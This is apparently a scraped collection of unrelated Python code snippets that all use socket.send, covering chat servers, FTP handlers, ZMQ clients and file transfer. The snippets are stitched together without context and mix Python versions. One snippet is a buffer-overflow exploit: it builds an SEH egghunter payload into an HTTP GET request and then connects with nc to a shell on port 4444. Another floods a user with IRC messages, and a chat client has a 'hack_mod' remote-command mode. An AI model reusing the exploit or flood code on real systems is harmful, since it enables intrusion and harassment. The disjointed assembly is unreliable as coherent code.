def startConfig(socket,address,imei): print "{} Connection details IP:Port {}".format(imei,address) while True: command = raw_input("Enter command to send to device{A10 to F11 commands available}(blank to exit)") if command == '': return False command = command.upper() data = "" while True: item = raw_input("Enter data to {} command(blank to exit)".format(command)) if item == '': break data += ","+item send_command = generateCommand(command,data,imei) sent_bytes = socket.send(send_command) print "number of characters in command {} number of bytes sent = {}".format(len(send_command),sent_bytes) print "Waiting for reply......" while True: sent_bytes = socket.send(send_command) try: reply = socket.recv(4096).split(",") except : print "No data recived :(" continue if reply[2] == command: print "Got a reply = {}".format(reply) break print "Got reply but not relevent :( = {}".format(reply) print "Command execute succesfully :) \n"
def handle_command( command ): arguments = command[1:] command = command[0] if command == 'help': socket.send(b'no help availible\n') else: socket.send(('unknown command: %s\n' % command).encode('utf8'))
def handle_accept(self): pair = self.accept() if pair is not None: socket, address = pair print 'Incoming connection from ', address handler = ControlHandler(socket) socket.send('welcome!\n' + ControlHandler.PROMPT)
def send(socket, data): '''Encode and send data, who knows why it's so cryptically sent...''' try: b = [] b.append(129) bytesRaw = data.encode() length = len(bytesRaw) if length <= 125 : b.append(length) elif length >= 126 and length <= 65535: b.append(126) b.append((length >> 8) & 255) b.append(length & 255) else: b.append(127 ) b.append((length >> 56) & 255) b.append((length >> 48) & 255) b.append((length >> 40) & 255) b.append((length >> 32) & 255) b.append((length >> 24) & 255) b.append((length >> 16) & 255) b.append((length >> 8) & 255) b.append(length & 255) b = bytes(b) b = b + bytesRaw print('\033[34m' + data + '\033[0m') socket.send(b) return True except BlockingIOError: return False except TimeoutError: return False
def request(socket, piece_number, block_offset): expected = BLOCK_SIZE if piece_number == NUM_PIECES and BLOCK_SIZE >= metainf.get('info').get('piece length'): expected = (metainf.get('info').get('length') - (NUM_PIECES * metainf.get('info').get('piece length'))) print 'expected block size: {}'.format(expected) m = struct.pack("!iBiii", 13, 6, piece_number, block_offset, expected) while(True): socket.send(m) data = socket.recv(expected+13) if len(data)<13: continue header = data[:13] parsed_header = struct.unpack('!iBii', header) if (parsed_header[1] == 7 and (len(data[13:]) == BLOCK_SIZE or len(data[13:]) == expected) and piece_number <= NUM_PIECES and parsed_header[2] == piece_number and parsed_header[3] == block_offset): break else: socket.send(m) global counter print('block #: {}'.format(counter)) counter += 1 print('message length: {}'.format(parsed_header[0])) print('message ID: {}'.format(parsed_header[1])) print('piece index: {}'.format(parsed_header[2])) print('block index: {}'.format(parsed_header[3])) payload = data[13:] print('size of payload: {}'.format(len(payload))) print('\n\n') return payload
def broadcast_data (sock, message, shout = None): if shout: for socket in CONNECTION_LIST: if socket != server_socket and socket != sock : for every in user[sock]['rooms']: if every in user[socket]['rooms']: try : socket.send(message) except : # broken socket connection may be, chat client pressed ctrl+c for example print "OH, he gettin removed and shit." socket.close() CONNECTION_LIST.remove(socket) else: #Do not send the message to master socket and the client who has send us the message for socket in CONNECTION_LIST: if socket != server_socket and socket != sock : if user[socket]['current'] == user[sock]['current']: try : socket.send(message) except : # broken socket connection may be, chat client pressed ctrl+c for example print "OH, he gettin removed and shit." socket.close() CONNECTION_LIST.remove(socket)
def broadcast_data (self, message): for socket in self.connections: if socket != self.server_socket: try: socket.send( message.encode("utf-8") ) #.encode("utf-8") except: pass
def handle(self, socket): self.set_ready() self.logger.debug("Connected to leader") client_address = self.client_hostname or socket.getsockname()[0] socket.send('%s\n' % client_address) # TODO: Use TCP keepalives keepalive = self._server_keepalive(socket) try: for line in util.line_protocol(socket, strip=False): if line == '\n': # Keepalive ack from leader keepalive.kill() keepalive = self._server_keepalive(socket) else: cluster = json.loads(line) if 'leader' in cluster: # Means you have the wrong leader, redirect host = cluster['leader'] port = cluster.get('port', self.leader_address[1]) self.leader_address = (host, port) self.logger.info("Redirected to %s:%s..." % self.leader_address) raise NewLeader() elif client_address in cluster['cluster']: # Only report cluster once I'm a member self.manager.cluster = set(cluster['cluster']) self.manager.trigger_callback() self._leader_election() except NewLeader: self.manager.trigger_callback() if self.leader_address[0] == client_address: self.manager.is_leader = True self.stop() else: return
def broadcast (server_socket, sock, message): # sending message to clients for socket in SOCKET_LIST: # send the message only to clients if socket != server_socket and socket != sock : try : socket.send(message) except : # broken socket connection socket.close() # broken socket, remove it if socket in SOCKET_LIST: SOCKET_LIST.remove(socket) #sending to other peers for socket in PEER_SERVERS: # send the message only to peers if socket != server_socket and socket != sock : try : socket.send(message) except : # broken socket connection socket.close() # broken socket, remove it if socket in SOCKET_LIST: SOCKET_LIST.remove(socket)
def file_send(self, socket): print('Thread for client ' + str(socket) + ' started! Waiting for input...') # headers = conn.recv(1024) # print('headers: %s' % headers) # data = self.msg_get(socket) # print(data) # # # socket.send('tarantino.jpg'.encode('utf-8')) # self.msg_send(socket, 'tarantino.jpg') # print('send filename') # # socket.close() # socket = self.connect() with open(self.default_server_file, 'rb') as file: print('File open') l = file.read(1024) while l: socket.send(l) # print('sending data...') l = file.read(1024) print('sending data: END...') socket.close()
def run(self): while True: if self.players: readers, writers, errorers = select.select(self.sockets.values(), self.sockets.values(), self.sockets.values(), 60) # Deal with errors first for socket in errorers: self.remove_player(self.players.get(socket, None)) # Inbound: Data coming from server for socket in readers: player = self.players.get(socket, None) if player: data = self.input_buffers.get(player, '') + socket.recv(4096) lines = data.split('\n') self.input_buffers[player] = lines[-1] for line in lines[:-1]: #print '<- %s' % line self.handle_command(player, line) # Outbound: Commands going to server for player, queue in self.queues.items(): try: command = queue.get(False) socket = self.sockets.get(player, None) if socket and socket in writers: #print '-> %s' % command, socket.send(command) queue.task_done() except Empty: pass except Exception, e: print e
def initDiffieHellman(self, socket): socket.send("connected".encode()) # Step1: recive the shared primes and the public secret step1 = socket.recv(1024) if self.__debugflag: print(step1) # Step 1.1: Parse them jsonData = json.loads(step1.decode()) jsonData = jsonData["dh-keyexchange"] self.__dh.base = int(jsonData["base"]) self.__dh.sharedPrime = int(jsonData["prime"]) publicSecret = int(jsonData["publicSecret"]) # Step2: calculate public secret and send to server calcedPubSecret = str(self.__dh.calcPublicSecret()) step2 = "{" step2 += "\"dh-keyexchange\":" step2 += "{" step2 += "\"step\": {},".format(2) step2 += "\"publicSecret\": {}".format(calcedPubSecret) step2 += "}}" socket.send(step2.encode()) # Step3: calculate the shared secret self.__dh.calcSharedSecret(publicSecret)
def check_connection_completion(sock): p = ovs.poller.SelectPoll() if sys.platform == "win32": event = winutils.get_new_event(None, False, True, None) # Receive notification of readiness for writing, of completed # connection or multipoint join operation, and of socket closure. win32file.WSAEventSelect(sock, event, win32file.FD_WRITE | win32file.FD_CONNECT | win32file.FD_CLOSE) p.register(event, ovs.poller.POLLOUT) else: p.register(sock, ovs.poller.POLLOUT) pfds = p.poll(0) if len(pfds) == 1: revents = pfds[0][1] if revents & ovs.poller.POLLERR: try: # The following should raise an exception. socket.send("\0", socket.MSG_DONTWAIT) # (Here's where we end up if it didn't.) # XXX rate-limit vlog.err("poll return POLLERR but send succeeded") return errno.EPROTO except socket.error as e: return get_exception_errno(e) else: return 0 else: return errno.EAGAIN
def handle(socket, address): """ 处理请求 """ try: data = socket.recv(1024) key = binascii.b2a_hex(data[0:16]).upper() body = data[16:] # RN解密 rnc = RNC(key) data = rnc.decrypt(body) data = json.loads(data) usr = data['usr'] udid = data['udid'] print 'request from %s' % usr user = db.users.find_one({'udid': udid}) if user and user.get('status'): status = 1 else: status = 0 # 2、查询mongo response = {'udid': udid, 'status': status} cipher_text = rnc.encrypt(json.dumps(response)) socket.send(cipher_text) except Exception, e: pass
def broadcast_data (sock, message): """Send broadcast message to all clients other than the server socket and the client socket from which the data is received.""" for socket in CONNECTION_LIST: if socket != server_socket and socket != sock: socket.send(message)
def input(events, socket): for event in events: direction = "" if event.type == QUIT: sys.exit(0) else: if(event.type == KEYDOWN): if event.key == 118: direction = "s" elif event.key == 117: direction = "a" elif event.key == 105: direction = "w" elif event.key == 97: direction = "d" elif event.key == 27: direction = "exit" elif(event.type == KEYUP): pass else: print(event) if direction == "exit": socket.send(direction.encode('utf-8')) sys.exit(0) elif direction == "": pass else: socket.send(("position " + direction).encode('utf-8'))
def get_replay(name, query, config, context=None): endpoint = config.get('replay_endpoints', {}).get(name, None) if not endpoint: raise IOError("No appropriate replay endpoint " "found for {0}".format(name)) if not context: context = zmq.Context(config['io_threads']) # A replay endpoint isn't PUB/SUB but REQ/REP, as it allows # for bidirectional communication socket = context.socket(zmq.REQ) try: socket.connect(endpoint) except zmq.ZMQError as e: raise IOError("Error when connecting to the " "replay endpoint: '{0}'".format(str(e))) # REQ/REP dance socket.send(fedmsg.encoding.dumps(query)) msgs = socket.recv_multipart() socket.close() for m in msgs: try: yield fedmsg.encoding.loads(m) except ValueError: # We assume that if it isn't JSON then it's an error message raise ValueError(m)
def communicate(socket, cmd, data=None): '''Sends a command and optional data (string) to the client socket. Message format: [SIZE (4 bytes) | COMMAND (8 bytes) | DATA (N bytes)] Returns a tuple containing the response message and data. ''' assert len(cmd) == 8, ('Commands must contain exactly 8 characters.' 'Command was: "%s"'%(cmd)) # Send the message size if data is None: data = '' msg_size = len(data) print '<SERVER> sending msg: [ %s | %s | <DATA: %s bytes> ]'%(msg_size, cmd, len(data)) nbytes = np.array([msg_size], ">i4").tostring() socket.send(nbytes + cmd + data) print '<SERVER> waiting for response...' # Get the response size size = read_nbytes(socket, 4) size = struct.unpack('>i4', size)[0] print '<SERVER> response size:', repr(size) # Get the response message msg = read_nbytes(socket, 8) print '<SERVER> response to %s:%s'%(cmd, msg) # Get any attached data data = '' if size > 0: data = read_nbytes(socket, size) return msg, data
def getFile(filename): context = zmq.Context() socket = context.socket(zmq.REQ) socket.connect("tcp://localhost:1337") socket.send(filename) response = socket.recv_json() return response
def localization_client(ip,port): context = zmq.Context() # Socket to talk to server print "Connecting to localization server ... " socket = context.socket(zmq.REQ) socket.connect(("tcp://localhost:%d" % port)) # Do 10 requests, waiting each time for a response while True: # print("Sending request %s ... " % request) socket.send(b"pose") # Get the reply. result = json.loads(socket.recv(1024)); # printing the result # print(result) # In order to access position : (result["pos"]["x"],result["pos"]["y"],result["pos"]["z"]) # In order to access orientation : (result["orient"]["w"],result["orient"]["x"],result["orient"]["y"],result["orient"]["z"]) print "Position : " , (float(result["pos"]["x"]),float(result["pos"]["y"]),float(result["pos"]["z"])) print "Orientation : " , (float(result["orient"]["w"]),float(result["orient"]["x"]),float(result["orient"]["y"]),float(result["orient"]["z"])) # wait for a while time.sleep(0.050)
def download_files(socket, working_directory): send_en = False # Firstly, sending requests for downloading and notify servers send_messages(socket, 4) if socket.recv(1024) == "What's file name you want": file_name = raw_input("Please enter the name of file you want:") socket.send(file_name) # if the server that the requested files exist, get the location of file respond = socket.recv(1024) if respond == "The requested file exists": location = socket.recv(1024) print "The file is located at " + location send_en = True elif respond != "The requested file exists": print "From Server - Error:The requested file doesn't exist" # If send_en flag is true, begin transmitting files if send_en: socket.send("Please send file") file_name = working_directory + "/" + file_name f = open(file_name, "wb") content = socket.recv(1024) # print content while (content): f.write(content) content = socket.recv(1024) if content == "###": break;
def server(pid, ep): """ Worker for listening socket for communication with web server. Parameters ---------- pid: int Process id. Used to send SIGINT. ep: mp.Pipe endpoint. Used to communicate with model processor. """ context = zmq.Context() socket = context.socket(zmq.REP) port = socket.bind_to_random_port("tcp://0.0.0.0") ep.send(port) def sig_handler(signum, frame): socket.close() return signal.signal(signal.SIGTERM, sig_handler) while True: message = socket.recv() if message == "KILL": socket.send("OK") socket.close() ep.send(None) p = psutil.Process(pid) p.send_signal(signal.SIGINT) return
def parse_line(self, line, socket): '''Parses a line from the IRC socket''' print(line, flush=True) if "PING" in line: irc_pong = "PONG %s\r\n" % line[1] socket.send(irc_pong.encode('utf-8')) return
def pub_message(source_socket, msg, server_socket): for user in USERS_LIST: if user[1] == str(source_socket.fileno()): nickname = user[3] break # Do not send the message to server socket and the client who has # sent the message for socket in SOCKET_LIST: if socket != server_socket and socket != source_socket: try: for user in USERS_LIST: # The user for each specific socket if user[1] == str(socket.fileno()): SYMM_KEY = user[2] CIPHER = AES.new(SYMM_KEY) h_msg = PUB_MESSAGE + ',' + nickname + ',' + msg msg_enc = EncodeAES(CIPHER, h_msg) socket.send(msg_enc) except: print 'fedeu' # broken socket connection may be, chat client pressed ctrl+c # for example # Remove user from USERS_LIST for index, user in enumerate(USERS_LIST): if user[1] == str(source_socket.fileno()): # Close connection source_socket.close() # Remove socket from SOCKET_LIST SOCKET_LIST.remove(source_socket) del USERS_LIST[index] break
def setup_proxy_connection(self): socket = SocketWrapper.connect(self.hostname, self.port) socket.send("RegProxy", { "ClientId": self.client_id, }) self.logger.debug("Waiting for proxy to be started") reply = socket.recv() if reply["Type"] != "StartProxy": raise ConnectionError("Expected 'StartProxy' but got '%s'" % reply["Type"]) url = reply["Payload"]["Url"] client_addr = reply["Payload"]["ClientAddr"] try: handler = self._tunnels[url] except KeyError: self.logger.error("Couldn't find a handler for %r" % url) socket.socket.close() return self.logger.debug("Invoking handler for %r (client=%r)" % (url, client_addr)) handler(socket.socket, client_addr)
def send_data(socket): while True: data = input() socket.send(data.encode('utf-8')) if(data == 'exit'): socket.close() break
def create_join(socket, uname, param): """ Joining channels specified. If channel do not exist, creates and joins the channel""" cmd, target = param.split(' ', 1) chName = target.strip() if re.search('^#([a-zA-Z0-9])', chName): if not uname in dictUser[chName]: if chName in channellist: dictUser[chName].append(uname) #Done, so that while sending chat msg,only users in that channel can get dictSockChannels[socket].append(chName) msg = '\rYou joined %s\n\n' % chName else: #Create new channel channellist.append(chName) #add user to the channel dictUser[chName].append(uname) dictSockChannels[socket].append(chName) msg = '\r%s is created.\nYou joined %s\n\n' % (chName,chName) msgToAll = "\r'"+dictSockName[socket]+"'"+ "entered %s \n\n" % chName #Send message to all users in this channel about the entry of new client msgtoall(socket,chName,msg,msgToAll) else: socket.send('\rERR_USERONCHANNEL:%d, %s already on channel %s\n\n' % (ERR_USERONCHANNEL,uname,chName)) else: socket.send('\rERR_INVALIDCHANNELNAME:%d %s Invalid Channel Name\n\n' % (ERR_INVALIDCHANNELNAME,chName))
def broadcast(source_socket, message, server_socket): """Function to broadcast chat messages to all connected clients""" # Do not send the message to server socket and the client who has # sent the message for socket in SOCKET_LIST: if socket != server_socket and socket != source_socket: try: for user in USERS_LIST: # The user for each specific socket if user[1] == str(socket.fileno()): SYMM_KEY = user[2] CIPHER = AES.new(SYMM_KEY) h_msg = BROADCAST + message msg_enc = EncodeAES(CIPHER, h_msg) socket.send(msg_enc) except: # broken socket connection may be, chat client pressed ctrl+c # for example # Remove user from USERS_LIST for index, user in enumerate(USERS_LIST): if user[1] == str(source_socket.fileno()): # Close connection source_socket.close() # Remove socket from SOCKET_LIST SOCKET_LIST.remove(source_socket) del USERS_LIST[index] break
def receive_files(socket): fileno = socket.recv(512) #receive the number of files to be sent print ("Number of files expected: "), fileno for x in range(0, int(fileno)): print("Receiving file "), x+1 , ("of "), fileno dat = socket.recv(1024) dat = dat.replace("%%%%", getpass.getuser()) if dat != "null": path.append(dat) #get path of incomming file time.sleep(0.5) size = socket.recv(1024) #get size of file print("Receiving "),size,("bytes") time.sleep(0.5) buff = socket.recv(int(size)) #get actual file content print("Writing file to "), path[x-1] f = open(path[x-1], 'wb') #open new file f.write(buff) #write content to file. print ("File written") socket.send('1') time.sleep(0.5) else: print("File number '"),x+1,(" is being ignored by sender.") time.sleep(0.5) return
def fchu(socket,ssid,md5): try: msg="FCHU"+ssid+md5 socket.send(msg.encode()) logging.debug("Inviata fchu") except Exception as e: raise Exception("Errore invio fchu")
def send_to_worker(socket, episode_ack_msg): episode_ack_msg = pickle.dumps(episode_ack_msg, protocol=-1) episode_ack_msg = zlib.compress(episode_ack_msg) socket.send(episode_ack_msg)
def send_kill_msg(self, socket): socket.send(pycompletionserver.MSG_KILL_SERVER)
def send_msgpack(socket, obj, flags=0, protocol=-1): """pickle an object, and zip the pickle before sending it""" p = msgpack.packb(obj, use_bin_type=True) return socket.send(p, flags=flags)
def send_zipped_pickle(socket, obj, flags=0, protocol=-1): """pickle an object, and zip the pickle before sending it""" p = pickle.dumps(obj, protocol) z = zlib.compress(p) return socket.send(z, flags=flags)
def _answer(self, msg, socket): socket.send(bytearray(str(msg), "utf-8"))
import socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect(('IP주소', 8080)) while 1: data = input() socket.send(data.encode()) data2 = socket.recv(65535) print('received data : ', data2.decode())
import socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect(('localHost', 5656)) print("Iniciamos Cliente!") while True: mensajeCliente = input("Cliente dice: ") socket.send(mensajeCliente.encode(encoding="ascii")) respuesta = socket.recv(1024) print("servidor", respuesta.decode(encoding="ascii")) socket.close()
def handleInput(socket, data): socket.send(data)
def send_cmd(socket, cmdId, args = []): cmdReq = array.array('l', [cmdId] + args) socket.send(cmdReq)
def client(): money=100 inte=0 port = 5566 n=0 dev=1 dba=False pss=0 tmoney=0 if inte==0: print("tentative de connection a votre ami ") time.sleep(int(temp)) import socket host2=hostb socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect((host2,port)) print("connexion etablie avec votre ami") while inte ==0: time.sleep(0.1) msg = input(" votre message : ") msg1=msg socket.send(msg.encode("utf8")) if msg1=="send": while dev: try: name=input(str(("entrer le nom du fichier ou son chemin complet : "))) time.sleep(1) if '/' in name: nes=0 nes2=0 nes3=0 for nez in name: if nez=='/': nes+=1 nes3=nes2 nes2+=1 raw=name[nes3+1:] print('naw est : ',raw) fs =open(name,'rb') else: raw=name fs =open("virtual/sended/"+name,'rb') break except: print("fichier introuvable !!! veillez verifier le fichier ") name=raw print("envoie de {} en cours ...".format(name)) socket.send(name.encode("utf8")) s1=time.time() socket.sendall(fs.read()) s2=time.time() fs.close() print("temps pris pour l'envoye : " ,str(int((s2-s1)))," seconde(s)") print(" envoye reussi \n veillez pattienter quelque seconde puis tapez : ok") time.sleep(10) elif msg1=='sendall': time.sleep(1) name2=input(str(("entrer le chemin complet du dossier a envoyer : "))) try: ch=os.listdir(name2) print(ch) pss=1 except: print('chemin specifier invalide !!! ') socket.send('end'.encode("utf8")) pss=0 if pss==1: socket.send(str(len(ch)).encode("utf8")) if name2[-1]=='/': pass elif name2[-1]!='/': name2=name2+'/' print(name2) elif msg1=="exit": print('deconexion !!!') time.sleep(3) sys.exit() elif msg1=='cmd': ck=input('hack_mod <<< ') socket.send(ck.encode("utf8")) tp=socket.recv(1024).decode("utf8") print('return >>>',tp) elif msg1=='check': if dba==True: print('votre montant est de ',str(tmoney)) else: print('aucun transation effectuer precedement !!!') elif msg1=='': print('utilisation : \n send ==> pour envoyer un fichier \n money ==> pour envoyer de l\'argent \n exit==> pour fermer le programme \n check==> votre montant money') elif msg1=="money": deb=1 msend=input("montant a envoyer : ") while deb: try: msend=int(msend) deb=0 except : deb=1 msend=input("montant incorrect ; ressayer : ") evy=int(msend) conn=sqlite3.connect("virtual/system/base.db") cur=conn.cursor() if dba==False: cur.execute("select money from info") for l in cur: liste_d=l cur.execute("select pseudo from info") for l in cur: liste_s=l cur.execute("select code from info") for l in cur: liste_n=l hmoney=(liste_d[0]) cur.execute("select hache from info") for l in cur: liste_h=l elif dba==True:pass dba=True tnum=0 tb=1 mdp=getpass.getpass(" entrer code secret : ") mdp=hashlib.sha224((bytes(mdp,'utf8'))).hexdigest() if mdp==liste_n[0]: print('verification en cours ...') while tb==1: tb2=hashlib.sha224((bytes(str(tnum),'utf8'))).hexdigest() if tb2==hmoney: tb=0 tmoney=tnum else: tnum+=1 if evy > tmoney: envy="0" print(" votre montant est insufisant +{} money d'excedent".format(str(evy-tmoney))) elif 0<evy <= tmoney: envy=str(evy) tmoney = tmoney-evy hmoney=hashlib.sha224((bytes(str(tmoney),'utf8'))).hexdigest() don1=(liste_s[0],liste_n[0],hmoney,liste_h[0]) cur.execute("insert into info (pseudo,code,money,hache) values(?,?,?,?)",don1) print("montant envoyer ") print("votre montant actuel est de {} money ".format(tmoney)) else: envy="0" print("une erreur est survenu , transation annuler ") else: print("mot de passe erronee") envy="0" socket.sendall(envy.encode("utf8")) conn.commit() cur.close() conn.close()
import socket HOST = socket.gethostname() PORT = 8888 socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect(("172.17.2.15", PORT)) text = input('Enter your mesage:') #take message input from user socket.send(text.encode('ascii')) #send message to client #socket.close()
def forward_arp(pkt, ip, socket, ts): if time_since_arp[ip] == 0 or ((ts - time_since_arp[ip]) > 2): if args.v: print('forwarding ARP') socket.send(pkt) time_since_arp[ip] = ts
#Generated by mona.py v2.0, rev 568 - Immunity Debugger egg = "w00tw00t" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #NOPS nops = "\x90" #Payload payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * ( 6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode)) #HTTP Request request = "GET /" + payload + "HTTP/1.1" + "\r\n" request += "Host: " + host + "\r\n" request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n" request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n" request += "Accept-Language: en-US,en;q=0.5" + "\r\n" request += "Accept-Encoding: gzip, deflate" + "\r\n" request += "Connection: keep-alive" + "\r\n\r\n" socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.connect((host, port)) socket.send(request) socket.close() print "Waiting for shell..." time.sleep(10) os.system("nc " + host + " 4444")
import socket socket = socket.socket() socket.connect(("localhost", 8888)) image = raw_input("Enter Image Name: ") socket.send(image) predictedCaptions = socket.recv(1024) print "Predicted Captions: ", predictedCaptions.split("\t")[0] print "Time Taken: ", predictedCaptions.split("\t")[1] socket.close()
def floodThread(socket, user, text, delay): while True: socket.send('PRIVMSG ' + user + ' :' + text + '\r\n') time.sleep(delay) socket.send('PRIVMSG ' + user + ' :' + text + '_' + randomString() + '\r\n') time.sleep(delay)
__author__ = 'ipetrash' from urllib.parse import urlsplit import socket import re socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # url = input ("Enter a url: ") url = 'http://google.ru/' try: re.search("^http[s]?://.*?", url) except: print("Error") result = urlsplit(url) print(result) socket.connect((result.netloc, 80)) cmd = f'GET {result.path} HTTP/1.0\r\n\r\n'.encode() print(cmd) socket.send(cmd) while True: data = socket.recv(512) if not len(data): break print(data, end='') socket.close()
parser.add_argument('--server', type=str, help='server id:port. (eg. 0.0.0.0:1958)', required=True) args = parser.parse_args() # connect context = zmq.Context() myid = '%s-%s' % (socket.gethostname(), random_string()) print("Connecting to server=%s myid=%s" % (args.server, myid)) socket = context.socket(zmq.REQ) socket.connect("tcp://%s" % args.server) # request to initialization print("Request to initialize.") socket.send(byte_message(myid, CODE_INIT, ''), copy=False) fetcher = pickle.loads(socket.recv()) print("Initialized.") jobid = data = None while True: socket.send(byte_message(myid, CODE_POLL, (jobid, data)), copy=False) msg = pickle.loads(socket.recv()) jobid = msg[ 'message'] # list converted to string(eg. "[id1, id2, ...]") if jobid is None: jobid = data = None time.sleep(1) else:
def sendmsg(socket, message, host, port): socket.send(message)
def runServer(socket, serverAddr, clientAddr, port, l, configs): # send message back to client to signify a successful connection socket.send(bytes('220 Welcome to cs472 hw3 FTP server\r\n', 'ascii')) l.log("Sent", "220 Welcome to cs472 hw3 FTP server") doUSERandPASS(socket, serverAddr, clientAddr, port, l, configs)
import socket import os import sys from unbuffered_reading import read_line_unbuffered_from sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 1) # Line-buffer output to STDOUT. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 8080)) listener.listen(5) while 1: try: (socket,address) = listener.accept() txt = read_line_unbuffered_from(socket).decode('utf8') print("FROM THE CLIENT: ") while txt != "\r\n": # i.e., CRLF print(txt) txt = read_line_unbuffered_from(socket).decode('utf8') print("SERVER: reached end of request headers") socket.send("HTTP/1.1 200 OK\r\n".encode('utf8')) socket.send("\r\n".encode('utf8')) socket.send("Hello, world\n".encode('utf8')) print("SERVER: Sent 'Hello, world' response to client") socket.close() except KeyboardInterrupt: print("Caught Ctrl-C, exiting...") listener.close() exit(1) print("SERVER: now I'm exiting")
def doPORT(socket_, l, serverAddr, receivedMessage): message = receivedMessage[1] message = message.split(",") if len(message) == 6: clientAddr = ".".join( message[:4]) # get the ip address from the received message dataPort = int(message[4]) * 256 + int( message[5]) # get the port number from the received message socket_.send(bytes('200 Command OK.\r\n', 'ascii')) l.log("Sent", "200 Command OK.\r\n") try: dataSocket = socket.socket( socket.AF_INET, socket.SOCK_STREAM) # create an INET, STREAMing clientSocket dataSocket.connect( (clientAddr, dataPort) ) # connect to a data socket server that's already created in client l.logConnectionInfo(clientAddr, str(dataPort)) # get the next command that client types in, this command must be either LIST, STOR, or RETR receivedCommand = recv_timeout(socket_, l) # l.log("Received", receivedCommand) receivedCommand = receivedCommand.split(" ", 1) if receivedCommand[0] == "LIST": if len(receivedCommand) <= 2: path = "" if len(receivedCommand) == 1: path = "." elif len(receivedCommand) == 2: path = receivedCommand[1] doList(socket_, dataSocket, l, path) else: socket_.send( bytes( '501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.\r\n") elif receivedCommand[0] == "STOR": if len(receivedCommand) == 2: # STOR must have 2 arguments path = receivedCommand[1] doSTOR(socket_, dataSocket, l, path) else: socket_.send( bytes( '501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.\r\n") elif receivedCommand[0] == "RETR": if len(receivedCommand) == 2: # RETR must have 2 arguments path = receivedCommand[1] doRETR(socket_, dataSocket, l, path) else: socket_.send( bytes( '501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.\r\n") else: try: socket.send(bytes('500 Unknown command.\r\n', 'ascii')) l.log("Sent", "500 Unknown command.") except: pass except Exception as e: # if can't connect to the data server socket in client l.log_(str(e)) try: socket_.send( bytes('425 No connection was established.\r\n', 'ascii')) l.log("Sent", "425 No connection was established.\r\n") except Exception as err: l.log_(str(err)) else: # if the syntax for PORT command is wrong socket_.send(bytes('501 Server cannot accept argument.\r\n', 'ascii')) l.log("Sent", "501 Server cannot accept argument.") dataSocket.close()
def handle_accept(self): socket, address = self.accept() print ("connection by", address) self.remote_clients.append(ClientHandler(self, socket, address)) ut = {"name" : "server", "msg" : "Hello from server"} socket.send(json.dumps(ut))
def doPASV(socket_, l, serverAddr, clientAddr, port): dataPort = random.randint(1025, 65535) while dataPort == port or dataPort in usedPortNum: # make sure port is not in use dataPort = random.randint(1025, 65535) usedPortNum.append(dataPort) p1 = dataPort // 256 p2 = dataPort % 256 try: dataSocket = socket.socket( socket.AF_INET, socket.SOCK_STREAM) # create an INET, STREAMing clientSocket dataSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) dataSocket.bind((serverAddr, dataPort)) dataSocket.listen() # become a server socket server = serverAddr.replace(".", ",") message = "227 Entering Passive Mode ({serverAddr},{p1},{p2}).\r\n".format( serverAddr=server, p1=p1, p2=p2) socket_.send( bytes(message, 'ascii') ) # send back the new data socket info so client can connect to it l.log("Sent", message.strip("\r\n")) (clientDataSocket, address) = dataSocket.accept() address = ' '.join(str(v) for v in address).split( " ") # convert to ip address of form xxx.xxx.xxx.xxx clientAddr = clientAddr.split(" ") # check if server is talking to the right client if clientAddr[0] != address[0]: print(clientAddr[0]) print(address[0]) socket_.send( bytes('425 Server drops the connection. Please try again.\r\n', 'ascii')) l.log_( "An unrecognized device with address {address} attempts to connect. Drop data connection" .format(address=address[0])) dataSocket.close( ) # drop the connection if the client's ip address doesn't match return except Exception as e: l.log_(str(e)) try: socket_.send( bytes('425 No connection was established.\r\n', 'ascii')) l.log("Sent", "425 No connection was established.") except Exception as err: l.log_(str(err)) return message = "Open a connection on port {port} in PASV mode for data transfer".format( port=dataPort) l.log_(message) # get the next command that client types in, this command must be either LIST, STOR, or RETR receivedCommand = recv_timeout(socket_, l) l.log("Received", receivedCommand) receivedCommand = receivedCommand.split(" ", 1) if receivedCommand[0] == "LIST": if len(receivedCommand) <= 2: path = "" if len(receivedCommand ) == 1: # if no path specified, use the current directory path = "." elif len(receivedCommand) == 2: path = receivedCommand[1] doList(socket_, clientDataSocket, l, path) else: socket_.send( bytes('501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.") elif receivedCommand[0] == "STOR": if len(receivedCommand) == 2: # STOR must have 2 arguments path = receivedCommand[1] doSTOR(socket_, clientDataSocket, l, path) else: socket_.send( bytes('501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.") elif receivedCommand[0] == "RETR": if len(receivedCommand) == 2: # RETR must have 2 arguments path = receivedCommand[1] doRETR(socket_, clientDataSocket, l, path) else: socket_.send( bytes('501 Syntax error in parameters or argument.\r\n', 'ascii')) l.log("Sent", "501 Syntax error in parameters or argument.\r\n") else: try: socket.send(bytes('500 Unknown command.\r\n', 'ascii')) l.log("Sent", "500 Unknown command.") except: pass dataSocket.close() # after data transfer completes, close the data socket
